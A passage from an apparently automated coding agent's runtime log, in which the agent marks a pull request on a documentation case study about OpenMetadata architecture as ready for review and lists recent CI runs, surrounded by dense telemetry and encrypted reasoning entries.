practices.\\n- Preserve issue, PR, repository, and release observations under \\\"'`docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata'\\\"'\\\\\\\"'\\\\\\\"'s contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- \\\"'`docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n- `cargo test --all-features --verbose` \u2014 18 tests passed\\n- `cargo test --doc --verbose`\\n- `cargo clippy --all-targets --all-features`\\n- `cargo run --quiet --bin meta-ontology -- check-words README.md`\\n- JSON snapshots parsed successfully\\n- `git diff --check`\\n- Reproduced `scripts/check-file-size.rs` logic directly because `rust-script` is unavailable locally; all Rust files are under 1,000 lines\\n\\n## Follow-up recommendation\\n\\nBegin with Phase 1 (versioned identity and layered validation) and Phase 2 (provenance and deterministic changes). Defer connectors, HTTP, search infrastructure, and distributed deployment until their documented decision gates are met.'\\\"' --jq '.html_url'\\\"\",\"aggregated_output\":\"https://github.com/link-foundation/meta-ontology/pull/6\\n\",\"exit_code\":0,\"status\":\"completed\"}}\n[2026-07-12T04:08:35.318Z] [INFO] \n[2026-07-12T04:08:35.322Z] [INFO] 2026-07-12T04:08:35.312633Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: feedback_tags: endpoint=\"/responses\" auth_header_attached=true auth_header_name=\"authorization\" auth_mode=\"Chatgpt\" auth_retry_after_unauthorized=\"false\" auth_recovery_mode=\"\" auth_recovery_phase=\"\" auth_connection_reused=\"true\" auth_request_id=\"\" auth_cf_ray=\"\" auth_error=\"\" auth_error_code=\"\" auth_recovery_followup_success=\"\" auth_recovery_followup_status=\"\" auth_env_openai_api_key_present=false auth_env_codex_api_key_present=false auth_env_codex_api_key_enabled=true auth_env_provider_key_name=\"\" auth_env_provider_key_present=\"\" auth_env_refresh_token_url_override_present=false\n[2026-07-12T04:08:35.322Z] [INFO] \n[2026-07-12T04:08:35.346Z] [INFO] 2026-07-12T04:08:35.345324Z  INFO codex_http_client::custom_ca: using system root certificates because no CA override environment variable was selected codex_ca_certificate_configured=false ssl_cert_file_configured=false\n[2026-07-12T04:08:35.346Z] [INFO] \n[2026-07-12T04:08:35.360Z] [INFO] 2026-07-12T04:08:35.359906Z DEBUG reqwest::connect: starting new connection: https://chatgpt.com/\n[2026-07-12T04:08:35.360Z] [INFO] \n[2026-07-12T04:08:35.362Z] [INFO] 2026-07-12T04:08:35.362611Z DEBUG hyper_util::client::legacy::connect::http: connecting to 172.64.155.209:443\n[2026-07-12T04:08:35.362Z] [INFO] \n[2026-07-12T04:08:35.369Z] [INFO] 2026-07-12T04:08:35.368545Z DEBUG hyper_util::client::legacy::connect::http: connected to 172.64.155.209:443\n[2026-07-12T04:08:35.369Z] [INFO] \n[2026-07-12T04:08:35.471Z] [INFO] 2026-07-12T04:08:35.469290Z DEBUG hyper_util::client::legacy::pool: pooling idle connection for (\"https\", chatgpt.com)\n[2026-07-12T04:08:35.471Z] [INFO] 2026-07-12T04:08:35.470582Z DEBUG codex_http_client::default_client: Request completed method=POST url=https://chatgpt.com/backend-api/codex/analytics-events/events status=200 OK headers={\"date\": \"Sun, 12 Jul 2026 04:08:35 GMT\", \"content-type\": \"application/json\", \"content-length\": \"88\", \"connection\": \"keep-alive\", \"server\": \"cloudflare\", \"cross-origin-opener-policy\": \"same-origin-allow-popups\", \"x-oai-request-id\": \"f4d1d059-6eb1-4220-be24-0ea50dc59207\", \"x-openai-proxy-wasm\": \"v0.1\", \"referrer-policy\": \"strict-origin-when-cross-origin\", \"cf-cache-status\": \"DYNAMIC\", \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\", \"x-content-type-options\": \"nosniff\", \"report-to\": \"{\\\"group\\\":\\\"cf-nel\\\",\\\"max_age\\\":604800,\\\"endpoints\\\":[{\\\"url\\\":\\\"https://a.nel.cloudflare.com/report/v4?s=5p%2FA38FCjU8n5d7a9l7hUdKR%2BYgjReWhCNFBycOxIx8mSRQT1B%2FlBb9c6MnIKOY%2FFqITUJ%2B0%2FsGB5Ql49KyiUw6hwso0QwIrD3Y8nMa9EZw4BuIgLOsZTRtat8O5\\\"}]}\", \"nel\": \"{\\\"report_to\\\":\\\"cf-nel\\\",\\\"success_fraction\\\":0.01,\\\"max_age\\\":604800}\", \"cf-ray\": \"a19d30052f5af00a-FRA\"} version=HTTP/1.1\n[2026-07-12T04:08:35.471Z] [INFO] \n[2026-07-12T04:08:36.045Z] [INFO] 2026-07-12T04:08:36.044666Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53134407ac81918eb1c06cec6bfff6\"), summary: [], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNE2zh3tZ2lzGHXG5u7Uhd3GvCtXArU5ilLdCRqZOlLteUu2jX6Ri4ro7vR2W2RG8f8F3PhBzw03ImzEZd4KzLeSp-etXP9Emrx2SKcLROLws-3_O3P6QY0mVEFtjI1LHdOBRB1zab7hcRNeX0ArWIKuRD1kEZ59NypizNIR5zttVQVctDCNNsr-K1bNVzhrW1K5ctjQLxk97KeW01WZmmO1O7j_LTTPeWsO4J43K7txJLr768w3wFTaHr4j15dKCgqXrvX0cUTCke9a5alWwLJHw0LgrpnwyIU9u7ulND7PzGJWnZgAzKlS_Z3-suzhq0Gwa5ZdpsMi4J4NoDA_FaRbV32puw7TwmWmF3WOgIMOXzaslc3cIh_lZK_rdhzFp_YCZ9KYEt1J3Jy1W1WS86I5k3KD8zWyetAAbJD9PVSlaRqSNq7K4GqsN1CsdRg2xsD08z7M0GLxlDI6_bOe-iv7lPfQZbfRsc6N5IkaZu4z255RzTdg82fmuQK6GIYFMMtxNkkXZSGVVzXcbN86t1yajhPBHKOmYdY9tPwKtqdIB0KAiwfoXwa9-eAVtWoRza27LK31s659atb5Oxlpaz723YfOh_-IVaIQpvzrCkpG13O5kKUmmbzeIWZdLIFuJlEc6fwGQASrDANlNcxmHzueCy_AxiXVvBkGmJZUW0XVr1xPgj04c2Qxuw84QY_a2fT3HuoEsW6UVA56EXUByvHBwtEVumZyHDJDRX3HtQQ59DDzbNUUvDGIDaBGZEIY0ek3QZKH_ru_byUTQTV3EqB5Lr3xr9iqt04pHfRu2dMNItDQ_wqaiyQCCu6L0IJHKi34OiDkVSyDsIalTydpVRdaZtxdwM_UF4c_fwdYsjHzQ6N6Z67lJJlPoyzpl6j9pblOh2pxgwvHuAxQfhe-8M5kg==\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:36.045Z] [INFO] \n[2026-07-12T04:08:36.598Z] [INFO] 2026-07-12T04:08:36.598064Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=Reasoning { id: Some(\"rs_0e255b39bbad6b0b016a53134407ac81918eb1c06cec6bfff6\"), summary: [SummaryText { text: \"**Marking readiness and listing recent CI**\" }], content: Some([]), encrypted_content: Some(\"gAAAAABqUxNE2jygu2XkczShV72yYci9a-j8zQ7F31OGAaUumPmyC0hioP6QX6n16mYAoDD9bHoNUfQk1d9qOuFW47M4erAanQ2kSieRd1ltwJEt2HIjdwLjo76L_FW5D-TCty9VBajy3A4uuD6MFVgRylkbg7gkel4wEBP2MDs5VElywL5vlCeAlPRlaeUXWNS1PsyJ168i-IH4l7tktmqGyH7xjezg2dRjJK0ZwF9duwDe2GA4v4UlcYZcNhW8Q-Ovk3ry-RTiSPJ4Yg9kbim6wxBu53Fo_2QoTTZJY3JJUtmLFiAG5f_bL9H_FuYkvBZVAB9p-rTJTnzUPVV5Md4Ln0Ed_eEBA_NUqTwtLNZbpddSgHduZmaVzvCPY5rCXOANG2a1UYn9amSUd7X-airrSR70swZTDJ0ECel8UH6LCmLB-oBJJ9iMEMHo09mBOsRKn_uLCmVdx24sDgLL48rjdebr0QHvZThnOzp7T-Stj_2xvLW_Poi2tYjEYbd6shqSEnLzZE-i9iiOxjrnsjAj_4_NJKcstzckIBhLdy5luvaj2YmrdPzzc_cc8sO87qR5rL6oPiRYGzI-jMx0qGjnNa88m4MJ715bVxNoifVYC2b4LtMpr3AndsFSjeQNUdoXlGL7ue9Bbr0SoUwWKPg6sBOITBBfbbTsIrPcWAFc-X5C7z_RySAgWCkBaGoZPeGc2D5FSrlW_vRrrd6SQCu73ozt0wgnFf_lPp7IHAXs6mw552EmUpapszfhJi-r5EuOwruKcOXO2WVzJvIB93-CRO6VVrYorZxipIBi7OoJHIXalW_OLbkXrlcDoXrupDnhAQaG03EqMKmYoUz1fExDuZj7-7EC-nu7QZ23gLvyhBpHF7JaVD-VaYncHeJk1rn5-YMPoOQZ4Ye7HIk4iatA5aePBBwFyYjvhsIocQf5DNi3yKTO2-mThCfrtNZjfqSOafst0NLYU-qlJpiFowvKCAWzU84ge-a4sBuVGBhFlzbj3dfLIok=\"), internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:36.598Z] [INFO] \n[2026-07-12T04:08:36.601Z] [INFO] 2026-07-12T04:08:36.599117Z DEBUG session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: Output item item=CustomToolCall { id: Some(\"ctc_0e255b39bbad6b0b016a5313449520819187e843ca1ebbde9b\"), status: Some(\"in_progress\"), call_id: \"call_Gb1NgwWE76jimSdCDa1esTnb\", name: \"exec\", namespace: None, input: \"\", internal_chat_message_metadata_passthrough: Some(InternalChatMessageMetadataPassthrough { turn_id: Some(\"019f547d-6ea8-7232-8540-37894db8bb13\") }) }\n[2026-07-12T04:08:36.601Z] [INFO] \n[2026-07-12T04:08:36.602Z] [INFO] {\"type\":\"item.completed\",\"item\":{\"id\":\"item_53\",\"type\":\"reasoning\",\"text\":\"**Marking readiness and listing recent CI**\"}}\n[2026-07-12T04:08:36.602Z] [INFO] \n[2026-07-12T04:08:39.109Z] [INFO] 2026-07-12T04:08:39.107058Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::stream_events_utils: ToolCall: exec const r=await tools.exec_command({cmd:\"gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000}); text(r.output);\n[2026-07-12T04:08:39.109Z] [INFO]  thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77\n[2026-07-12T04:08:39.109Z] [INFO] \n[2026-07-12T04:08:39.116Z] [INFO] 2026-07-12T04:08:39.109706Z  INFO feedback_tags: last_model_response_id=\"resp_0e255b39bbad6b0b016a531343668c8191a80a9ddfdec38e08\"\n[2026-07-12T04:08:39.116Z] [INFO] 2026-07-12T04:08:39.109740Z  INFO codex_otel.log_only: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=77770 output_token_count=163 cached_token_count=76544 reasoning_token_count=14 tool_token_count=77933 ttft_ms=735 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:39.109Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:39.116Z] [INFO] 2026-07-12T04:08:39.109759Z  INFO codex_otel.trace_safe: event.name=\"codex.sse_event\" event.kind=response.completed input_token_count=77770 output_token_count=163 cached_token_count=76544 reasoning_token_count=14 tool_token_count=77933 ttft_ms=735 model_reasoning_effort=\"medium\" event.timestamp=2026-07-12T04:08:39.109Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:39.116Z] [INFO] \n[2026-07-12T04:08:39.187Z] [INFO] 2026-07-12T04:08:39.184233Z  INFO codex_otel.log_only: event.name=\"codex.tool_decision\" tool_name=exec_command call_id=exec-94c6dad3-f398-47bb-9d74-799ea36bc4af decision=approved source=Config event.timestamp=2026-07-12T04:08:39.184Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:39.187Z] [INFO] \n[2026-07-12T04:08:39.376Z] [INFO] {\"type\":\"item.started\",\"item\":{\"id\":\"item_54\",\"type\":\"command_execution\",\"command\":\"/bin/bash -lc 'gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url'\",\"aggregated_output\":\"\",\"exit_code\":null,\"status\":\"in_progress\"}}\n[2026-07-12T04:08:39.376Z] [INFO] \n[2026-07-12T04:08:41.889Z] [INFO] 2026-07-12T04:08:41.888546Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-94c6dad3-f398-47bb-9d74-799ea36bc4af arguments={\"cmd\":\"gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000} duration_ms=2705 success=true output=Chunk ID: e21c47\n[2026-07-12T04:08:41.889Z] [INFO] Wall time: 2.5328 seconds\n[2026-07-12T04:08:41.889Z] [INFO] Process exited with code 0\n[2026-07-12T04:08:41.889Z] [INFO] Original token count: 1075\n[2026-07-12T04:08:41.889Z] [INFO] Output:\n[2026-07-12T04:08:41.889Z] [INFO] \u2713 Pull request link-foundation/meta-ontology#6 is marked as \"ready for review\"\n[2026-07-12T04:08:41.889Z] [INFO] {\"body\":\"## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- `docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n-\n[2026-07-12T04:08:41.889Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:41.888Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.889Z] [INFO] 2026-07-12T04:08:41.888599Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec_command call_id=exec-94c6dad3-f398-47bb-9d74-799ea36bc4af duration_ms=2705 success=true arguments_length=430 output_length=2086 output_line_count=8 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:41.888Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.889Z] [INFO] \n[2026-07-12T04:08:41.897Z] [INFO] 2026-07-12T04:08:41.896226Z  INFO codex_otel.log_only: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Gb1NgwWE76jimSdCDa1esTnb arguments=const r=await tools.exec_command({cmd:\"gh pr ready 6 --repo link-foundation/meta-ontology && gh pr view 6 --repo link-foundation/meta-ontology --json title,body,isDraft,url,headRefOid,statusCheckRollup && gh run list --repo link-foundation/meta-ontology --branch issue-5-e2602184e2c5 --limit 5 --json databaseId,workflowName,conclusion,status,createdAt,headSha,url\",\"workdir\":\"/tmp/gh-issue-solver-1783828904396\",\"yield_time_ms\":30000,\"max_output_tokens\":30000}); text(r.output);\n[2026-07-12T04:08:41.897Z] [INFO]  duration_ms=2785 success=true output=Script completed\n[2026-07-12T04:08:41.897Z] [INFO] Wall time 2.8 seconds\n[2026-07-12T04:08:41.897Z] [INFO] Output:\n[2026-07-12T04:08:41.897Z] [INFO] \n[2026-07-12T04:08:41.897Z] [INFO] \u2713 Pull request link-foundation/meta-ontology#6 is marked as \"ready for review\"\n[2026-07-12T04:08:41.897Z] [INFO] {\"body\":\"## Summary\\n\\n- Add a deep case study of transferable OpenMetadata architecture and governance practices.\\n- Preserve issue, PR, repository, and release observations under `docs/case-studies/issue-5/raw-data/`.\\n- Enumerate all explicit and implied requirements and map each to a solution.\\n- Evaluate standards and Rust components for schema, provenance, graph, API, and search needs.\\n- Provide a seven-phase roadmap with dependencies, decision gates, acceptance criteria, and a cross-cutting test strategy.\\n- Remove the issue-solver placeholder and add a patch changelog fragment.\\n\\nThe central recommendation is to adopt OpenMetadata's contract boundaries\u2014schema-first models, stable identity, typed relations, provenance, layered validation, normalized ingestion, and governance metadata\u2014without copying its distributed platform stack prematurely.\\n\\nFixes #5\\n\\n## Research method\\n\\nResearch was performed on 2026-07-12 using:\\n\\n- all issue and PR comment/review API streams (all empty at collection time);\\n- the official OpenMetadata repository and latest release metadata;\\n- versioned official OpenMetadata architecture, API, ingestion, governance, quality, security, and deployment documentation;\\n- primary standards including JSON Schema, RDF/OWL, SHACL, PROV-O, and OpenLineage;\\n- the current meta-ontology implementation, roadmap, contribution guidance, and prior case studies.\\n\\nSources and time-sensitive observations are recorded in the case-study source inventory and compact JSON snapshots.\\n\\n## Deliverables\\n\\n- `docs/case-studies/issue-5/README.md`\\n- `docs/case-studies/issue-5/source-inventory.md`\\n- `docs/case-studies/issue-5/openmetadata-analysis.md`\\n- `docs/case-studies/issue-5/requirements-and-solutions.md`\\n- `docs/case-studies/issue-5/raw-data/*.json`\\n\\n## Verification\\n\\n- `cargo fmt --all -- --check`\\n- `cargo test --all-features --verbose` \u2014 18 tests passe\n[2026-07-12T04:08:41.897Z] [INFO] [... telemetry preview truncated ...] mcp_server= mcp_server_origin= event.timestamp=2026-07-12T04:08:41.896Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.897Z] [INFO] 2026-07-12T04:08:41.896279Z  INFO codex_otel.trace_safe: event.name=\"codex.tool_result\" tool_name=exec call_id=call_Gb1NgwWE76jimSdCDa1esTnb duration_ms=2785 success=true arguments_length=480 output_length=2086 output_line_count=7 tool_origin=\"builtin\" mcp_tool=false event.timestamp=2026-07-12T04:08:41.896Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.897Z] [INFO] \n[2026-07-12T04:08:41.900Z] [INFO] 2026-07-12T04:08:41.896505Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: codex_core::tools::parallel: tool call completed event.name=\"codex.tool_call\" trace_id= conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn_id=019f547d-6ea8-7232-8540-37894db8bb13 tool_name=exec call_id=call_Gb1NgwWE76jimSdCDa1esTnb tool_source=\"direct\" execution_started=true dispatch_duration_ms=0 handler_duration_ms=2786 total_duration_ms=2786\n[2026-07-12T04:08:41.900Z] [INFO] \n[2026-07-12T04:08:41.942Z] [INFO] 2026-07-12T04:08:41.938619Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}: feedback_tags: model=\"gpt-5.6-sol\" approval_policy=Never sandbox_policy=DangerFullAccess effort=Some(Medium) auth_mode=Some(Chatgpt) features=[ShellTool, CodexHooks, CodeModeHost, UnifiedExec, TerminalResizeReflow, ShellSnapshot, EnableRequestCompression, Collab, Apps, ToolSearchAlwaysDeferMcpTools, ToolSuggest, Plugins, InAppBrowser, BrowserUse, BrowserUseFullCdpAccess, BrowserUseExternal, ComputerUse, RemotePlugin, PluginSharing, ImageGeneration, ResizeAllImages, SkillMcpDependencyInstall, MentionsV2, GuardianApproval, Goals, ToolCallMcpElicitation, AuthElicitation, Personality, FastMode, RemoteCompactionV2, WorkspaceDependencies, Sqlite, Steer, CollaborationModes, TuiAppServer]\n[2026-07-12T04:08:41.942Z] [INFO] \n[2026-07-12T04:08:41.948Z] [INFO] 2026-07-12T04:08:41.947885Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.log_only: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:41.947Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec user.account_id=\"cc6b62fa-3ade-4ff4-a541-66f6963a14b5\" user.email=\"link.assistant.team@proton.me\" terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.948Z] [INFO] 2026-07-12T04:08:41.947939Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol codex.turn.reasoning_effort=medium}:model_client.stream_responses_websocket{model=gpt-5.6-sol wire_api=responses transport=\"responses_websocket\" api.path=\"responses\" turn.has_metadata_header=true websocket.warmup=false}:responses_websocket.stream_request{transport=\"responses_websocket\" api.path=\"responses\"}: codex_otel.trace_safe: event.name=\"codex.websocket_request\" duration_ms=0 success=\"true\" auth.env_openai_api_key_present=false auth.env_codex_api_key_present=false auth.env_codex_api_key_enabled=true auth.env_refresh_token_url_override_present=false auth.connection_reused=true event.timestamp=2026-07-12T04:08:41.947Z conversation.id=019f547d-6d2b-7162-ae64-b2b122b89c77 app.version=0.144.1 auth_mode=\"Chatgpt\" originator=codex_exec terminal.type=unknown model=gpt-5.6-sol slug=gpt-5.6-sol\n[2026-07-12T04:08:41.948Z] [INFO] 2026-07-12T04:08:41.947953Z  INFO session_loop{thread_id=019f547d-6d2b-7162-ae64-b2b122b89c77}:submission_dispatch{otel.name=\"op.dispatch.user_input\" submission.id=\"019f547d-6ea8-7232-8540-37894db8bb13\" codex.op=\"user_input\"}:turn{otel.name=\"session_task.turn\" thread.id=019f547d-6d2b-7162-ae64-b2b122b89c77 turn.id=019f547d-6ea8-7232-8540-37894db8bb13 model=gpt-5.6-sol 